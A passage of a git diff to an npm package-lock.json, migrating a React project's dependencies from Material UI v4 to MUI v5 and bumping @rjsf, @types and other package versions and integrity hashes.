">=8.0.0" + "node": ">=12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/mui" }, "peerDependencies": { - "@material-ui/core": "^4.0.0", - "@types/react": "^16.8.6 || ^17.0.0", - "react": "^16.8.0 || ^17.0.0", - "react-dom": "^16.8.0 || ^17.0.0" + "@mui/material": "^5.0.0", + "@types/react": "^17.0.0 || ^18.0.0", + "react": "^17.0.0 || ^18.0.0" }, "peerDependenciesMeta": { "@types/react": { @@ -2491,94 +2746,150 @@ } } }, - "node_modules/@material-ui/styles": { - "version": "4.11.5", - "resolved": "https://registry.npmjs.org/@material-ui/styles/-/styles-4.11.5.tgz", - "integrity": "sha512-o/41ot5JJiUsIETME9wVLAJrmIWL3j0R0Bj2kCOLbSfqEkKf0fmaPt+5vtblUh5eXr2S+J/8J3DaCb10+CzPGA==", - "deprecated": "Material UI v4 doesn't receive active development since September 2021. See the guide https://mui.com/material-ui/migration/migration-v4/ to upgrade to v5.", - "dependencies": { - "@babel/runtime": "^7.4.4", - "@emotion/hash": "^0.8.0", - "@material-ui/types": "5.1.0", - "@material-ui/utils": "^4.11.3", - "clsx": "^1.0.4", - "csstype": "^2.5.2", - "hoist-non-react-statics": "^3.3.2", - "jss": "^10.5.1", - "jss-plugin-camel-case": "^10.5.1", - "jss-plugin-default-unit": "^10.5.1", - "jss-plugin-global": "^10.5.1", - "jss-plugin-nested": "^10.5.1", - "jss-plugin-props-sort": "^10.5.1", - "jss-plugin-rule-value-function": "^10.5.1", - "jss-plugin-vendor-prefixer": "^10.5.1", - "prop-types": "^15.7.2" + "node_modules/@mui/material": { + "version": "5.14.10", + "resolved": "https://registry.npmjs.org/@mui/material/-/material-5.14.10.tgz", + "integrity": "sha512-ejFMppnO+lzBXpzju+N4SSz0Mhmi5sihXUGcr5FxpgB6bfUP0Lpe32O0Sw/3s8xlmLEvG1fqVT0rRyAVMlCA+A==", + "dependencies": { + "@babel/runtime": "^7.22.15", + "@mui/base": "5.0.0-beta.16", + "@mui/core-downloads-tracker": "^5.14.10", + "@mui/system": "^5.14.10", + "@mui/types": "^7.2.4", + "@mui/utils": "^5.14.10", + "@types/react-transition-group": "^4.4.6", + "clsx": "^2.0.0", + "csstype": "^3.1.2", + "prop-types": "^15.8.1", + "react-is": "^18.2.0", + "react-transition-group": "^4.4.5" }, "engines": { - "node": ">=8.0.0" + "node": ">=12.0.0" }, "funding": { "type": "opencollective", - "url": "https://opencollective.com/material-ui" + "url": "https://opencollective.com/mui" }, "peerDependencies": { - "@types/react": "^16.8.6 || ^17.0.0", - "react": "^16.8.0 || ^17.0.0", - "react-dom": "^16.8.0 || ^17.0.0" + "@emotion/react": "^11.5.0", + "@emotion/styled": "^11.3.0", + "@types/react": "^17.0.0 || ^18.0.0", + "react": "^17.0.0 || ^18.0.0", + "react-dom": "^17.0.0 || ^18.0.0" }, "peerDependenciesMeta": { + "@emotion/react": { + "optional": true + }, + "@emotion/styled": { + "optional": true + }, "@types/react": { "optional": true } } }, - "node_modules/@material-ui/styles/node_modules/@emotion/hash": { - "version": "0.8.0", - "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.8.0.tgz", - "integrity": "sha512-kBJtf7PH6aWwZ6fka3zQ0p6SBYzx4fl1LoZXE2RrnYST9Xljm7WfKJrU4g/Xr3Beg72MLrp1AWNUmuYJTL7Cow==" + "node_modules/@mui/private-theming": { + "version": "5.14.10", + "resolved": "https://registry.npmjs.org/@mui/private-theming/-/private-theming-5.14.10.tgz", + "integrity": "sha512-f67xOj3H06wWDT9xBg7hVL/HSKNF+HG1Kx0Pm23skkbEqD2Ef2Lif64e5nPdmWVv+7cISCYtSuE2aeuzrZe78w==", + "dependencies": { + "@babel/runtime": "^7.22.15", + "@mui/utils": "^5.14.10", + "prop-types": "^15.8.1" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/mui" + }, + "peerDependencies": { + "@types/react": "^17.0.0 || ^18.0.0", + "react": "^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } }, - "node_modules/@material-ui/styles/node_modules/csstype": { - "version": "2.6.21", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-2.6.21.tgz", - "integrity": "sha512-Z1PhmomIfypOpoMjRQB70jfvy/wxT50qW08YXO5lMIJkrdq4yOTR+AW7FqutScmB9NkLwxo+jU+kZLbofZZq/w==" + "node_modules/@mui/styled-engine": { + "version": "5.14.10", + "resolved": "https://registry.npmjs.org/@mui/styled-engine/-/styled-engine-5.14.10.tgz", + "integrity": "sha512-EJckxmQHrsBvDbFu1trJkvjNw/1R7jfNarnqPSnL+jEQawCkQIqVELWLrlOa611TFtxSJGkdUfCFXeJC203HVg==", + "dependencies": { + "@babel/runtime": "^7.22.15", + "@emotion/cache": "^11.11.0", + "csstype": "^3.1.2", + "prop-types": "^15.8.1" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/mui" + }, + "peerDependencies": { + "@emotion/react": "^11.4.1", + "@emotion/styled": "^11.3.0", + "react": "^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "@emotion/react": { + "optional": true + }, + "@emotion/styled": { + "optional": true + } + } }, - "node_modules/@material-ui/system": { - "version": "4.12.2", - "resolved": "https://registry.npmjs.org/@material-ui/system/-/system-4.12.2.tgz", - "integrity": "sha512-6CSKu2MtmiJgcCGf6nBQpM8fLkuB9F55EKfbdTC80NND5wpTmKzwdhLYLH3zL4cLlK0gVaaltW7/wMuyTnN0Lw==", + "node_modules/@mui/system": { + "version": "5.14.10", + "resolved": "https://registry.npmjs.org/@mui/system/-/system-5.14.10.tgz", + "integrity": "sha512-QQmtTG/R4gjmLiL5ECQ7kRxLKDm8aKKD7seGZfbINtRVJDyFhKChA1a+K2bfqIAaBo1EMDv+6FWNT1Q5cRKjFA==", "dependencies": { - "@babel/runtime": "^7.4.4", - "@material-ui/utils": "^4.11.3", - "csstype": "^2.5.2", - "prop-types": "^15.7.2" + "@babel/runtime": "^7.22.15", + "@mui/private-theming": "^5.14.10", + "@mui/styled-engine": "^5.14.10", + "@mui/types": "^7.2.4", + "@mui/utils": "^5.14.10", + "clsx": "^2.0.0", + "csstype": "^3.1.2", + "prop-types": "^15.8.1" }, "engines": { - "node": ">=8.0.0" + "node": ">=12.0.0" }, "funding": { "type": "opencollective", - "url": "https://opencollective.com/material-ui" + "url": "https://opencollective.com/mui" }, "peerDependencies": { - "@types/react": "^16.8.6 || ^17.0.0", - "react": "^16.8.0 || ^17.0.0", - "react-dom": "^16.8.0 || ^17.0.0" + "@emotion/react": "^11.5.0", + "@emotion/styled": "^11.3.0", + "@types/react": "^17.0.0 || ^18.0.0", + "react": "^17.0.0 || ^18.0.0" }, "peerDependenciesMeta": { + "@emotion/react": { + "optional": true + }, + "@emotion/styled": { + "optional": true + }, "@types/react": { "optional": true } } }, - "node_modules/@material-ui/system/node_modules/csstype": { - "version": "2.6.21", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-2.6.21.tgz", - "integrity": "sha512-Z1PhmomIfypOpoMjRQB70jfvy/wxT50qW08YXO5lMIJkrdq4yOTR+AW7FqutScmB9NkLwxo+jU+kZLbofZZq/w==" - }, - "node_modules/@material-ui/types": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/@material-ui/types/-/types-5.1.0.tgz", - "integrity": "sha512-7cqRjrY50b8QzRSYyhSpx4WRw2YuO0KKIGQEVk5J8uoz2BanawykgZGoWEqKm7pVIbzFDN0SpPcVV4IhOFkl8A==", + "node_modules/@mui/types": { + "version": "7.2.4", + "resolved": "https://registry.npmjs.org/@mui/types/-/types-7.2.4.tgz", + "integrity": "sha512-LBcwa8rN84bKF+f5sDyku42w1NTxaPgPyYKODsh01U1fVstTClbUoSA96oyRBnSNyEiAVjKm6Gwx9vjR+xyqHA==", "peerDependencies": { "@types/react": "*" }, @@ -2588,21 +2899,56 @@ } } }, - "node_modules/@material-ui/utils": { - "version": "4.11.3", - "resolved": "https://registry.npmjs.org/@material-ui/utils/-/utils-4.11.3.tgz", - "integrity": "sha512-ZuQPV4rBK/V1j2dIkSSEcH5uT6AaHuKWFfotADHsC0wVL1NLd2WkFCm4ZZbX33iO4ydl6V0GPngKm8HZQ2oujg==", + "node_modules/@mui/utils": { + "version": "5.14.10", + "resolved": "https://registry.npmjs.org/@mui/utils/-/utils-5.14.10.tgz", + "integrity": "sha512-Rn+vYQX7FxkcW0riDX/clNUwKuOJFH45HiULxwmpgnzQoQr3A0lb+QYwaZ+FAkZrR7qLoHKmLQlcItu6LT0y/Q==", "dependencies": { - "@babel/runtime": "^7.4.4", - "prop-types": "^15.7.2", - "react-is": "^16.8.0 || ^17.0.0" + "@babel/runtime": "^7.22.15", + "@types/prop-types": "^15.7.5", + "prop-types": "^15.8.1", + "react-is": "^18.2.0" }, "engines": { - "node": ">=8.0.0" + "node": ">=12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/mui" }, "peerDependencies": { - "react": "^16.8.0 || ^17.0.0", - "react-dom": "^16.8.0 || ^17.0.0" + "@types/react": "^17.0.0 || ^18.0.0", + "react": "^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@mui/x-data-grid": { + "version": "6.14.0", + "resolved": "https://registry.npmjs.org/@mui/x-data-grid/-/x-data-grid-6.14.0.tgz", + "integrity": "sha512-EMkPT0YQsjqfH8f/UpPscpPFlywWuyrkS6aaB90t821Z6khoheFS1XeKbCa3L6byC/fwt1cAmIljlh8xJxIueg==", + "dependencies": { + "@babel/runtime": "^7.22.15", + "@mui/utils": "^5.14.8", + "clsx": "^2.0.0", + "prop-types": "^15.8.1", + "reselect": "^4.1.8" + }, + "engines": { + "node": ">=14.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/mui" + }, + "peerDependencies": { + "@mui/material": "^5.4.1", + "@mui/system": "^5.4.1", + "react": "^17.0.0 || ^18.0.0", + "react-dom": "^17.0.0 || ^18.0.0" } }, "node_modules/@nicolo-ribaudo/chokidar-2": { @@ -2656,30 +3002,25 @@ "node": ">= 8" } }, + "node_modules/@pkgjs/parseargs": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", + "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", + "dev": true, + "optional": true, + "engines": { + "node": ">=14" + } + }, "node_modules/@popperjs/core": { - "version": "2.11.6", - "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.11.6.tgz", - "integrity": "sha512-50/17A98tWUfQ176raKiOGXuYpLyyVMkxxG6oylzL3BPOlA6ADGdK7EYunSa4I064xerltq9TGXs8HmOk5E+vw==", + "version": "2.11.8", + "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.11.8.tgz", + "integrity": "sha512-P1st0aksCrn9sGZhp8GMYwBnQsbvAWsZAX44oXNNvLHGqAOcoVxmjZiohstwQ7SqKnbR47akdNi+uleWD8+g6A==", "funding": { "type": "opencollective", "url": "https://opencollective.com/popperjs" } }, - "node_modules/@react-dnd/asap": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/@react-dnd/asap/-/asap-4.0.1.tgz", - "integrity": "sha512-kLy0PJDDwvwwTXxqTFNAAllPHD73AycE9ypWeln/IguoGBEbvFcPDbCV03G52bEcC5E+YgupBE0VzHGdC8SIXg==" - }, - "node_modules/@react-dnd/invariant": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/@react-dnd/invariant/-/invariant-2.0.0.tgz", - "integrity": "sha512-xL4RCQBCBDJ+GRwKTFhGUW8GXa4yoDfJrPbLblc3U09ciS+9ZJXJ3Qrcs/x2IODOdIE5kQxvMmE2UKyqUictUw==" - }, - "node_modules/@react-dnd/shallowequal": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/@react-dnd/shallowequal/-/shallowequal-2.0.0.tgz", - "integrity": "sha512-Pc/AFTdwZwEKJxFJvlxrSmGe/di+aAOBn60sremrpLo6VI/6cmiUYNNwlI5KNYttg7uypzA3ILPMPgxB2GYZEg==" - }, "node_modules/@react-icons/all-files": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/@react-icons/all-files/-/all-files-4.1.0.tgz", @@ -2689,11 +3030,11 @@ } }, "node_modules/@remix-run/router": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/@remix-run/router/-/router-1.3.3.tgz", - "integrity": "sha512-YRHie1yQEj0kqqCTCJEfHqYSSNlZQ696QJG+MMiW4mxSl9I0ojz/eRhJS4fs88Z5i6D1SmoF9d3K99/QOhI8/w==", + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@remix-run/router/-/router-1.9.0.tgz", + "integrity": "sha512-bV63itrKBC0zdT27qYm6SDZHlkXwFL1xMBuhkn+X7l0+IIhNaH5wuuvZKp6eKhCD4KFhujhfhCT1YxXW6esUIA==", "engines": { - "node": ">=14" + "node": ">=14.0.0" } }, "node_modules/@restart/context": { @@ -2705,20 +3046,20 @@ } }, "node_modules/@restart/hooks": { - "version": "0.4.9", - "resolved": "https://registry.npmjs.org/@restart/hooks/-/hooks-0.4.9.tgz", - "integrity": "sha512-3BekqcwB6Umeya+16XPooARn4qEPW6vNvwYnlofIYe6h9qG1/VeD7UvShCWx11eFz5ELYmwIEshz+MkPX3wjcQ==", + "version": "0.4.11", + "resolved": "https://registry.npmjs.org/@restart/hooks/-/hooks-0.4.11.tgz", + "integrity": "sha512-Ft/ncTULZN6ldGHiF/k5qt72O8JyRMOeg0tApvCni8LkoiEahO+z3TNxfXIVGy890YtWVDvJAl662dVJSJXvMw==", "dependencies": { - "dequal": "^2.0.2" + "dequal": "^2.0.3" }, "peerDependencies": { "react": ">=16.8.0" } }, "node_modules/@rjsf/bootstrap-4": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/@rjsf/bootstrap-4/-/bootstrap-4-5.1.0.tgz", - "integrity": "sha512-0YPpj0nxFV5tMvFfrenZi667rcHu3nPSenIiWGyxeMYHdLExTrMSXajNjvCYcyxs+eVyvg2tvHCh/LKRUzAdDw==", + "version": "5.13.0", + "resolved": "https://registry.npmjs.org/@rjsf/bootstrap-4/-/bootstrap-4-5.13.0.tgz", + "integrity": "sha512-8dGPl3XPE8D7R/Aty+51Bdbi+4LQT72jjIeiF6/gfRxHvA8mMaTxQPIox23GBD3mXvB8taijNe/dDSQ0P/Iy3A==", "dependencies": { "@react-icons/all-files": "^4.1.0" }, @@ -2726,39 +3067,57 @@ "node": ">=14" }, "peerDependencies": { - "@rjsf/core": "^5.0.0", - "@rjsf/utils": "^5.0.0", + "@rjsf/core": "^5.12.x", + "@rjsf/utils": "^5.12.x", "react": "^16.14.0 || >=17", "react-bootstrap": "^1.6.5" } }, "node_modules/@rjsf/core": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/@rjsf/core/-/core-5.1.0.tgz", - "integrity": "sha512-n2FeSk9iDuCF+Zo6nMLPuWsGsHCRiWnfohLNoyl1ll/tv6Ac5Oh0W3cwClIUEmJwaUFPaU/2O4ihFvSCdXwHlw==", + "version": "5.13.0", + "resolved": "https://registry.npmjs.org/@rjsf/core/-/core-5.13.0.tgz", + "integrity": "sha512-rCpJGR0yPP/ip9LKcr3SmDMkbLx4QIaRA+ag0rcalSw1XLXBSzh53SpfgaB2HN++1xhUvWtIUERRHpWjQp1E7w==", "dependencies": { - "lodash": "^4.17.15", - "lodash-es": "^4.17.15", - "nanoid": "^3.3.4", - "prop-types": "^15.7.2" + "lodash": "^4.17.21", + "lodash-es": "^4.17.21", + "markdown-to-jsx": "^7.3.2", + "nanoid": "^3.3.6", + "prop-types": "^15.8.1" }, "engines": { "node": ">=14" }, "peerDependencies": { - "@rjsf/utils": "^5.0.0", + "@rjsf/utils": "^5.12.x", "react": "^16.14.0 || >=17" } }, + "node_modules/@rjsf/core/node_modules/nanoid": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.6.tgz", + "integrity": "sha512-BGcqMMJuToF7i1rt+2PWSNVnWIkGCU78jBG3RxO/bZlnZPK2Cmi2QaffxGO/2RvWi9sL+FAiRiXMgsyxQ1DIDA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, "node_modules/@rjsf/utils": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/@rjsf/utils/-/utils-5.1.0.tgz", - "integrity": "sha512-b6ZPl5H+1trBitFUfNY9eBClfxsHqsRDtw6fwxSwdVgseAnb33kGxO+/0KLzDfSY2L0b2yOwKGY4kyHmpBUThQ==", + "version": "5.13.0", + "resolved": "https://registry.npmjs.org/@rjsf/utils/-/utils-5.13.0.tgz", + "integrity": "sha512-tG2OuOJUJZ0W7VMZceD0I2SOjfMRRT1tRtG+SKbdNqhtH/gpg40aOMUj9cWgSQnYISEkNZjZq/z7NWln5RxW6A==", "dependencies": { "json-schema-merge-allof": "^0.8.1", "jsonpointer": "^5.0.1", - "lodash": "^4.17.15", - "lodash-es": "^4.17.15", + "lodash": "^4.17.21", + "lodash-es": "^4.17.21", "react-is": "^18.2.0" }, "engines": { @@ -2768,43 +3127,38 @@ "react": "^16.14.0 || >=17" } }, - "node_modules/@rjsf/utils/node_modules/react-is": { - "version": "18.2.0", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", - "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==" - }, "node_modules/@rjsf/validator-ajv8": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/@rjsf/validator-ajv8/-/validator-ajv8-5.1.0.tgz", - "integrity": "sha512-J3+cPT+saU2i4nOe8EDIMAWfrM4T48J8kgFL5O2mAObzlOI6O1UOSc0Rt82ag5zHhyAON0B6t0nG54/eDiCWfA==", + "version": "5.13.0", + "resolved": "https://registry.npmjs.org/@rjsf/validator-ajv8/-/validator-ajv8-5.13.0.tgz", + "integrity": "sha512-8j0xLsxJA/k1UADeDYZ2aMVrswvOCEYNC++YchoAgWRHqDiaGAUyRbbk7oxMi6QUXnhnlCIepzNeTclHnSfPXQ==", "dependencies": { "ajv": "^8.12.0", "ajv-formats": "^2.1.1", - "lodash": "^4.17.15", - "lodash-es": "^4.17.15" + "lodash": "^4.17.21", + "lodash-es": "^4.17.21" }, "engines": { "node": ">=14" }, "peerDependencies": { - "@rjsf/utils": "^5.0.0" + "@rjsf/utils": "^5.12.x" } }, "node_modules/@sinclair/typebox": { - "version": "0.25.24", - "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.25.24.tgz", - "integrity": "sha512-XJfwUVUKDHF5ugKwIcxEgc9k8b7HbznCp6eUfWgu710hMPNIO4aw4/zB5RogDQz8nd6gyCDpU9O/m6qYEWY6yQ==", + "version": "0.27.8", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.27.8.tgz", + "integrity": "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA==", "dev": true }, "node_modules/@types/base16": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@types/base16/-/base16-1.0.2.tgz", - "integrity": "sha512-oYO/U4VD1DavwrKuCSQWdLG+5K22SLPem2OQaHmFcQuwHoVeGC+JGVRji2MUqZUAIQZHEonOeVfAX09hYiLsdg==" + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@types/base16/-/base16-1.0.3.tgz", + "integrity": "sha512-rjrIWFr73ylMjEQuU1OQjkoIDcLR2/dIwiopZe2S5ASo5eoSYBxaAnGtwTUhWc5oWefQXxHRFmGDelYR5yMcgA==" }, "node_modules/@types/body-parser": { - "version": "1.19.2", - "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.2.tgz", - "integrity": "sha512-ALYone6pm6QmwZoAgeyNksccT9Q4AWZQ6PvfwR37GT6r6FWUPguq6sUmNGSMV2Wr761oQoBxwGGa6DR5o1DC9g==", + "version": "1.19.3", + "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.3.tgz", + "integrity": "sha512-oyl4jvAfTGX9Bt6Or4H9ni1Z447/tQuxnZsytsCaExKlmJiU8sFgnIBRzJUpKwB5eWn9HuBYlUlVA74q/yN0eQ==", "dev": true, "dependencies": { "@types/connect": "*", @@ -2812,27 +3166,27 @@ } }, "node_modules/@types/bonjour": { - "version": "3.5.10", - "resolved": "https://registry.npmjs.org/@types/bonjour/-/bonjour-3.5.10.tgz", - "integrity": "sha512-p7ienRMiS41Nu2/igbJxxLDWrSZ0WxM8UQgCeO9KhoVF7cOVFkrKsiDr1EsJIla8vV3oEEjGcz11jc5yimhzZw==", + "version": "3.5.11", + "resolved": "https://registry.npmjs.org/@types/bonjour/-/bonjour-3.5.11.tgz", + "integrity": "sha512-isGhjmBtLIxdHBDl2xGwUzEM8AOyOvWsADWq7rqirdi/ZQoHnLWErHvsThcEzTX8juDRiZtzp2Qkv5bgNh6mAg==", "dev": true, "dependencies": { "@types/node": "*" } }, "node_modules/@types/connect": { - "version": "3.4.35", - "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.35.tgz", - "integrity": "sha512-cdeYyv4KWoEgpBISTxWvqYsVy444DOqehiF3fM3ne10AmJ62RSyNkUnxMJXHQWRQQX2eR94m5y1IZyDwBjV9FQ==", + "version": "3.4.36", + "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.36.tgz", + "integrity": "sha512-P63Zd/JUGq+PdrM1lv0Wv5SBYeA2+CORvbrXbngriYY0jzLUWfQMQQxOhjONEz/wlHOAxOdY7CY65rgQdTjq2w==", "dev": true, "dependencies": { "@types/node": "*" } }, "node_modules/@types/connect-history-api-fallback": { - "version": "1.3.5", - "resolved": "https://registry.npmjs.org/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.3.5.tgz", - "integrity": "sha512-h8QJa8xSb1WD4fpKBDcATDNGXghFj6/3GRWG6dhmRcu0RX1Ubasur2Uvx5aeEwlf0MwblEC2bMzzMQntxnw/Cw==", + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.5.1.tgz", + "integrity": "sha512-iaQslNbARe8fctL5Lk+DsmgWOM83lM+7FzP0eQUJs1jd3kBE8NWqBTIT2S8SqQOJjxvt2eyIjpOuYeRXq2AdMw==", "dev": true, "dependencies": { "@types/express-serve-static-core": "*", @@ -2840,17 +3194,17 @@ } }, "node_modules/@types/debug": { - "version": "4.1.7", - "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.7.tgz", - "integrity": "sha512-9AonUzyTjXXhEOa0DnqpzZi6VHlqKMswga9EXjpXnnqxwLtdvPPtlO8evrI5D9S6asFRCQ6v+wpiUKbw+vKqyg==", + "version": "4.1.8", + "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.8.tgz", + "integrity": "sha512-/vPO1EPOs306Cvhwv7KfVfYvOJqA/S/AXjaHQiJboCZzcNDb+TIJFN9/2C9DZ//ijSKWioNyUxD792QmDJ+HKQ==", "dependencies": { "@types/ms": "*" } }, "node_modules/@types/eslint": { - "version": "8.21.1", - "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.21.1.tgz", - "integrity": "sha512-rc9K8ZpVjNcLs8Fp0dkozd5Pt2Apk1glO4Vgz8ix1u6yFByxfqo5Yavpy65o+93TAe24jr7v+eSBtFLvOQtCRQ==", + "version": "8.44.2", + "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.44.2.tgz", + "integrity": "sha512-sdPRb9K6iL5XZOmBubg8yiFp5yS/JdUDQsq5e6h95km91MCYMuvp7mh1fjPEYUhvHepKpZOjnEaMBR4PxjWDzg==", "dependencies": { "@types/estree": "*", "@types/json-schema": "*" @@ -2866,9 +3220,9 @@ } }, "node_modules/@types/estree": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.0.tgz", - "integrity": "sha512-WulqXMDUTYAXCjZnk6JtIHPigp55cVtDgDrO2gHRwhyJto21+1zbVCtOYB2L1F9w4qCQ0rOGWBnBe0FNTiEJIQ==" + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.1.tgz", + "integrity": "sha512-LG4opVs2ANWZ1TJoKc937iMmNstM/d0ae1vNbnBvBhqCSezgVUOzcLCqbI5elV8Vy6WKwKjaqR+zO9VKirBBCA==" }, "node_modules/@types/express": { "version": "4.17.17", @@ -2883,28 +3237,29 @@ } }, "node_modules/@types/express-serve-static-core": { - "version": "4.17.33", - "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.33.tgz", - "integrity": "sha512-TPBqmR/HRYI3eC2E5hmiivIzv+bidAfXofM+sbonAGvyDhySGw9/PQZFt2BLOrjUUR++4eJVpx6KnLQK1Fk9tA==", + "version": "4.17.36", + "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.36.tgz", + "integrity": "sha512-zbivROJ0ZqLAtMzgzIUC4oNqDG9iF0lSsAqpOD9kbs5xcIM3dTiyuHvBc7R8MtWBp3AAWGaovJa+wzWPjLYW7Q==", "dev": true, "dependencies": { "@types/node": "*", "@types/qs": "*", - "@types/range-parser": "*" + "@types/range-parser": "*", + "@types/send": "*" } }, "node_modules/@types/hammerjs": { - "version": "2.0.41", - "resolved": "https://registry.npmjs.org/@types/hammerjs/-/hammerjs-2.0.41.tgz", - "integrity": "sha512-ewXv/ceBaJprikMcxCmWU1FKyMAQ2X7a9Gtmzw8fcg2kIePI1crERDM818W+XYrxqdBBOdlf2rm137bU+BltCA==", + "version": "2.0.42", + "resolved": "https://registry.npmjs.org/@types/hammerjs/-/hammerjs-2.0.42.tgz", + "integrity": "sha512-Xxk14BrwHnGi0xlURPRb+Y0UNn2w3cTkeFm7pKMsYOaNgH/kabbJLhcBoNIodwsbTz7Z8KcWjtDvlGH0nc0U9w==", "peer": true }, "node_modules/@types/hast": { - "version": "2.3.4", - "resolved": "https://registry.npmjs.org/@types/hast/-/hast-2.3.4.tgz", - "integrity": "sha512-wLEm0QvaoawEDoTRwzTXp4b4jpwiJDvR5KMnFnVodm3scufTlBOWRD6N1OBf9TZMhjlNsSfcO5V+7AF4+Vy+9g==", + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-2.3.6.tgz", + "integrity": "sha512-47rJE80oqPmFdVDCD7IheXBrVdwuBgsYwoczFvKmwfo2Mzsnt+V9OONsYauFmICb6lQPpCuXYJWejBNs4pDJRg==", "dependencies": { - "@types/unist": "*" + "@types/unist": "^2" } }, "node_modules/@types/history": { @@ -2912,25 +3267,22 @@ "resolved": "https://registry.npmjs.org/@types/history/-/history-4.7.11.tgz", "integrity": "sha512-qjDJRrmvBMiTx+jyLxvLfJU7UznFuokDv4f3WRuriHKERccVpFU+8XMQUAbDzoiJCsmexxRExQeMwwCdamSKDA==" }, - "node_modules/@types/hoist-non-react-statics": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/@types/hoist-non-react-statics/-/hoist-non-react-statics-3.3.1.tgz", - "integrity": "sha512-iMIqiko6ooLrTh1joXodJK5X9xeEALT1kM5G3ZLhD3hszxBdIEd5C75U834D9mLcINgD4OyZf5uQXjkuYydWvA==", - "dependencies": { - "@types/react": "*", - "hoist-non-react-statics": "^3.3.0" - } - }, "node_modules/@types/html-minifier-terser": { "version": "6.1.0", "resolved": "https://registry.npmjs.org/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", "integrity": "sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg==", "dev": true }, + "node_modules/@types/http-errors": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/@types/http-errors/-/http-errors-2.0.2.tgz", + "integrity": "sha512-lPG6KlZs88gef6aD85z3HNkztpj7w2R7HmR3gygjfXCQmsLloWNARFkMuzKiiY8FGdh1XDpgBdrSf4aKDiA7Kg==", + "dev": true + }, "node_modules/@types/http-proxy": { - "version": "1.17.10", - "resolved": "https://registry.npmjs.org/@types/http-proxy/-/http-proxy-1.17.10.tgz", - "integrity": "sha512-Qs5aULi+zV1bwKAg5z1PWnDXWmsn+LxIvUGv6E2+OOMYhclZMO+OXd9pYVf2gLykf2I7IV2u7oTHwChPNsvJ7g==", + "version": "1.17.12", + "resolved": "https://registry.npmjs.org/@types/http-proxy/-/http-proxy-1.17.12.tgz", + "integrity": "sha512-kQtujO08dVtQ2wXAuSFfk9ASy3sug4+ogFR8Kd8UgP8PEuc1/G/8yjYRmp//PcDNJEUKOza/MrQu15bouEUCiw==", "dev": true, "dependencies": { "@types/node": "*" @@ -2966,9 +3318,9 @@ } }, "node_modules/@types/jest": { - "version": "29.4.0", - "resolved": "https://registry.npmjs.org/@types/jest/-/jest-29.4.0.tgz", - "integrity": "sha512-VaywcGQ9tPorCX/Jkkni7RWGFfI11whqzs8dvxF41P17Z+z872thvEvlIbznjPJ02kl1HMX3LmLOonsj2n7HeQ==", + "version": "29.5.5", + "resolved": 